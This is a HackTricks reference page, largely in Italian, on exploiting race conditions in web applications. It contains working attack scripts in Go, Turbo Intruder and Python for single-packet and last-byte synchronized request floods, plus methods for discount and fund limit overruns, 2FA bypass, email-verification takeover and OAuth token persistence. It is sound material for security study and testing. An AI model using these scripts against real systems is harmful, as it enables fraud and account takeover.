Race Condition
Reading time: 18 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
warning
Per ottenere una comprensione approfondita di questa tecnica consulta il report originale su https://portswigger.net/research/smashing-the-state-machine
Migliorare gli attacchi Race Condition
Il principale ostacolo nello sfruttare le race condition è garantire che più richieste siano gestite nello stesso momento, con una differenza nei loro tempi di elaborazione molto piccola—idealmente, meno di 1ms.
Qui trovi alcune tecniche per la sincronizzazione delle richieste:
HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- HTTP/2: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto del jitter di rete. Tuttavia, a causa di variazioni lato server, due richieste potrebbero non essere sufficienti per un exploit consistente basato su race condition.
- HTTP/1.1 'Last-Byte Sync': Permette di pre-inviare la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento che viene poi inviato insieme, ottenendo così l'arrivo simultaneo al server.
Preparazione per Last-Byte Sync comporta:
- Inviare header e body meno l'ultimo byte senza chiudere lo stream.
- Mettere in pausa per 100ms dopo l'invio iniziale.
- Disabilitare TCP_NODELAY per utilizzare l'algoritmo di Nagle e aggregare i frame finali.
- Eseguire ping per “scaldare” la connessione.
L'invio successivo dei frame trattenuti dovrebbe farli arrivare in un unico pacchetto, verificabile con Wireshark. Questo metodo non si applica ai file statici, che di solito non sono coinvolti negli attacchi RC.
HTTP/3 Last‑Frame Synchronization (QUIC)
- Concept: HTTP/3 viaggia su QUIC (UDP). Non esistendo il coalescing TCP né Nagle, il classico last‑byte sync non funziona con client off‑the‑shelf. Invece, è necessario coalescere deliberatamente più frame DATA di stream‑final (FIN) di QUIC nello stesso datagram UDP in modo che il server elabori tutte le richieste target nello stesso tick di scheduling.
- How to do it: Usa una libreria appositamente costruita che esponga il controllo dei frame QUIC. Per esempio, H3SpaceX manipola quic-go per implementare HTTP/3 last‑frame synchronization sia per richieste con body sia per richieste in stile GET senza body.
- Requests‑with‑body: invia HEADERS + DATA meno l'ultimo byte per N stream, quindi flusha l'ultimo byte di ogni stream insieme.
- GET‑style: crea frame DATA finti (o un piccolo body con Content‑Length) e termina tutti gli stream in un unico datagram.
- Practical limits:
- La concorrenza è limitata dal parametro di trasporto QUIC max_streams del peer (simile a SETTINGS_MAX_CONCURRENT_STREAMS di HTTP/2). Se è basso, apri più connessioni H3 e distribuisci la race tra di esse.
- La dimensione del datagram UDP e la path MTU limitano quanti stream‑final frame puoi coalescere. La libreria gestisce la suddivisione in più datagram se necessario, ma un flush in un singolo datagram è il più affidabile.
- Practice: Esistono laboratori pubblici su H2/H3 race e exploit di esempio che accompagnano H3SpaceX.
HTTP/3 last‑frame sync (Go + H3SpaceX) minimal example
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}
Adattamento all'architettura del server
Comprendere l'architettura del target è cruciale. I server front-end potrebbero instradare le richieste in modo diverso, influenzando i tempi. Il preriscaldamento delle connessioni lato server, tramite richieste di poco conto, può uniformare i tempi delle richieste.
Gestione del session-based locking
Framework come PHP's session handler serializzano le richieste per sessione, potenzialmente oscurando vulnerabilità. Utilizzare diversi session token per ogni richiesta può aggirare questo problema.
Superare limiti di rate o di risorse
Se il preriscaldamento delle connessioni non è efficace, indurre intenzionalmente ritardi dovuti ai limiti di rate o di risorse dei web server tramite un'inondazione di richieste dummy potrebbe facilitare il single-packet attack inducendo un ritardo lato server favorevole alle race conditions.
Esempi di attacco
- Turbo Intruder - HTTP2 single-packet attack (1 endpoint): Puoi inviare la richiesta a Turbo intruder (
Extensions
->Turbo Intruder
->Send to Turbo Intruder
), puoi modificare nella richiesta il valore che vuoi forzare tramite brute force per%s
come incsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
e poi selezionare laexamples/race-single-packer-attack.py
dal menu a tendina:
.png)
Se intendi inviare valori diversi, puoi modificare il codice con questo che usa una wordlist dalla clipboard:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
warning
Se il web non supporta HTTP2 (solo HTTP1.1) usa Engine.THREADED
o Engine.BURP
invece di Engine.BURP2
.
- Turbo Intruder - HTTP2 single-packet attack (Several endpoints): Se devi inviare una richiesta a 1 endpoint e poi più richieste ad altri endpoint per innescare la RCE, puoi modificare lo script
race-single-packet-attack.py
in questo modo:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- È anche disponibile in Repeater tramite la nuova opzione 'Send group in parallel' in Burp Suite.
- Per limit-overrun potresti semplicemente aggiungere la stessa request 50 volte nel group.
- Per connection warming, potresti aggiungere all'inizio del group alcune request verso una parte non statica del web server.
- Per il delaying del processo tra l'elaborazione di una request e l'altra in una procedura a 2 sottostati, potresti aggiungere request extra tra le due request.
- Per una multi-endpoint RC potresti iniziare inviando la request che va allo hidden state e poi 50 request subito dopo che sfruttano lo hidden state.
.png)
- Automated python script: Lo scopo di questo script è cambiare l'email di un utente mentre la verifica continuamente fino a quando il token di verifica della nuova email non arriva all'ultima email (questo perché nel codice si osservava una RC in cui era possibile modificare un'email ma avere la verifica inviata alla vecchia poiché la variabile che indica l'email era già popolata con la prima).
Quando la parola "objetivo" è trovata nelle email ricevute sappiamo di aver ricevuto il token di verifica dell'email modificata e terminiamo l'attacco.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Turbo Intruder: note su engine e gating
- Selezione dell'engine: usa
Engine.BURP2
sui target HTTP/2 per attivare il single‑packet attack; in alternativa usaEngine.THREADED
oEngine.BURP
per il last‑byte sync su HTTP/1.1. gate
/openGate
: accoda molte copie congate='race1'
(o gate per tentativo), che trattengono la coda di ogni request;openGate('race1')
svuota tutte le code insieme in modo che arrivino quasi simultaneamente.- Diagnostics: timestamp negativi in Turbo Intruder indicano che il server ha risposto prima che la request fosse completamente inviata, dimostrando sovrapposizione. Questo è normale nelle vere race.
- Connection warming: invia prima un ping o poche request innocue per stabilizzare i tempi; opzionalmente disabilita
TCP_NODELAY
per favorire il batching dei frame finali.
Improving Single Packet Attack
In the original research it's explained that this attack has a limit of 1,500 bytes. However, in this post, it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the 65,535 B window limitation of TCP by using IP layer fragmentation (suddividendo un singolo packet in più pacchetti IP) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.
Note that although this improvement makes the attack more reliable in RC that requires hundreds/thousands of packets to arrive at the same time, it might also have some software limitations. Some popular HTTP servers like Apache, Nginx and Go have a strict SETTINGS_MAX_CONCURRENT_STREAMS
setting to 100, 128 and 250. However, others like NodeJS and nghttp2 have it unlimited.
This basically means that Apache will only consider 100 HTTP connections from a single TCP connection (limiting this RC attack). For HTTP/3, the analogous limit is QUIC’s max_streams transport parameter – if it’s small, spread your race across multiple QUIC connections.
You can find some examples using this technique in the repo https://github.com/Ry0taK/first-sequence-sync/tree/main.
Raw BF
Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
- Repeater: Controlla gli esempi della sezione precedente.
- Intruder: Invia la request a Intruder, imposta il number of threads a 30 nel Options menu, seleziona come payload Null payloads e genera 30.
- Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
RC Methodology
Limit-overrun / TOCTOU
This is the most basic type of race condition where vulnerabilities that appear in places that limit the number of times you can perform an action. Like using the same discount code in a web store several times. A very easy example can be found in this report or in this bug.
There are many variations of this kind of attack, including:
- Riscattare una gift card più volte
- Valutare un prodotto più volte
- Prelevare o trasferire fondi oltre il saldo del conto
- Riutilizzare una singola soluzione CAPTCHA
- Bypassare un limite di rate anti-brute-force
Sottostati nascosti
Exploiting complex race conditions often involves taking advantage of brief opportunities to interact with hidden or unintended machine substates. Ecco come affrontare il problema:
- Identify Potential Hidden Substates
- Inizia individuando endpoints che modificano o interagiscono con dati critici, come profili utente o processi di reset della password. Concentrati su:
- Storage: Prefer endpoints che manipolano dati persistenti lato server rispetto a quelli che gestiscono dati lato client.
- Action: Cerca operazioni che modificano dati esistenti, più propense a creare condizioni sfruttabili rispetto a quelle che aggiungono nuovi dati.
- Keying: Gli attacchi riusciti di solito coinvolgono operazioni basate sullo stesso identificatore, p.es. username o reset token.
- Conduct Initial Probing
- Testa gli endpoints identificati con attacchi di race condition, osservando eventuali deviazioni dai risultati attesi. Risposte inattese o cambiamenti nel comportamento dell'applicazione possono indicare una vulnerabilità.
- Demonstrate the Vulnerability
- Riduci l'attacco al numero minimo di richieste necessario per sfruttare la vulnerabilità, spesso solo due. Questo passaggio potrebbe richiedere più tentativi o automazione a causa della precisione temporale richiesta.
Time Sensitive Attacks
La precisione nel timing delle richieste può rivelare vulnerabilità, specialmente quando metodi prevedibili come timestamp vengono usati per security tokens. Per esempio, generare password reset tokens basati sui timestamp potrebbe permettere token identici per richieste simultanee.
To Exploit:
- Usa una temporizzazione precisa, come un single packet attack, per inviare richieste di reset della password concorrenti. Token identici indicano una vulnerabilità.
Example:
- Richiedi due token di reset della password contemporaneamente e confrontali. Token identici suggeriscono una falla nella generazione dei token.
Check this PortSwigger Lab to try this.
Casi di studio sui sottostati nascosti
Pay & add an Item
Check this PortSwigger Lab to see how to pay in a store and add an extra item you that won't need to pay for it.
Confirm other emails
L'idea è di verificare un indirizzo email e cambiarlo con un altro contemporaneamente per scoprire se la piattaforma verifica il nuovo indirizzo.
Change email to 2 emails addresses Cookie based
According to this research Gitlab was vulnerable to a takeover this way because it might send the email verification token of one email to the other email.
Check this PortSwigger Lab to try this.
Hidden Database states / Confirmation Bypass
If 2 different writes are used to add information inside a database, there is a small portion of time where only the first data has been written inside the database. For example, when creating a user the username and password might be written and then the token to confirm the newly created account is written. This means that for a small time the token to confirm an account is null.
Pertanto registrare un account e inviare diverse richieste con un token vuoto (token=
or token[]=
or any other variation) per confermare l'account immediatamente potrebbe consentire di confermare un account di cui non controlli l'email.
Check this PortSwigger Lab to try this.
Bypass 2FA
Il seguente pseudo-codice è vulnerabile a race condition perché per un brevissimo lasso di tempo la 2FA non viene applicata mentre la sessione viene creata:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
OAuth2 persistenza eterna
There are several OAUth providers. Theses services will allow you to create an application and authenticate users that the provider has registered. In order to do so, the client will need to permit your application to access some of their data inside of the OAUth provider.
Quindi, fino a qui è solo un login comune con google/linkedin/github... dove ti viene mostrata una pagina che dice: "Application
Race Condition in authorization_code
Il problema si presenta quando lo accetti e questo invia automaticamente un authorization_code
all'applicazione malevola. Poi, questa applicazione abusa di una Race Condition nel OAUth service provider per generare più di un AT/RT (Authentication Token/Refresh Token) dallo authorization_code
per il tuo account. Fondamentalmente sfrutterà il fatto che hai accettato che l'applicazione acceda ai tuoi dati per creare diversi account. Quindi, se smetti di permettere all'applicazione di accedere ai tuoi dati, una coppia di AT/RT verrà eliminata, ma le altre rimarranno valide.
Race Condition in Refresh Token
Una volta che hai ottenuto un RT valido puoi provare a abusarne per generare diversi AT/RT e anche se l'utente revoca i permessi per l'applicazione malevola di accedere ai suoi dati, diversi RT resteranno comunque validi.
RC in WebSockets
- In WS_RaceCondition_PoC puoi trovare una PoC in Java per inviare messaggi WebSocket in parallelo per sfruttare le Race Conditions anche nei WebSockets.
- Con Burp’s WebSocket Turbo Intruder puoi usare il motore THREADED per creare multiple connessioni WS e inviare payload in parallelo. Parti dall'esempio ufficiale e regola
config()
(numero di thread) per la concorrenza; questo è spesso più affidabile rispetto al batching su una singola connessione quando si gareggia sullo stato lato server attraverso gli handler WS. Vedi RaceConditionExample.py.
Riferimenti
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
- https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocketTurboIntruder – GitHub
- RaceConditionExample.py
- H3SpaceX (HTTP/3 last‑frame sync) – Go package docs
- PacketSprinter: Simplifying HTTP/2 Single‑Packet Testing (Route Zero blog)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.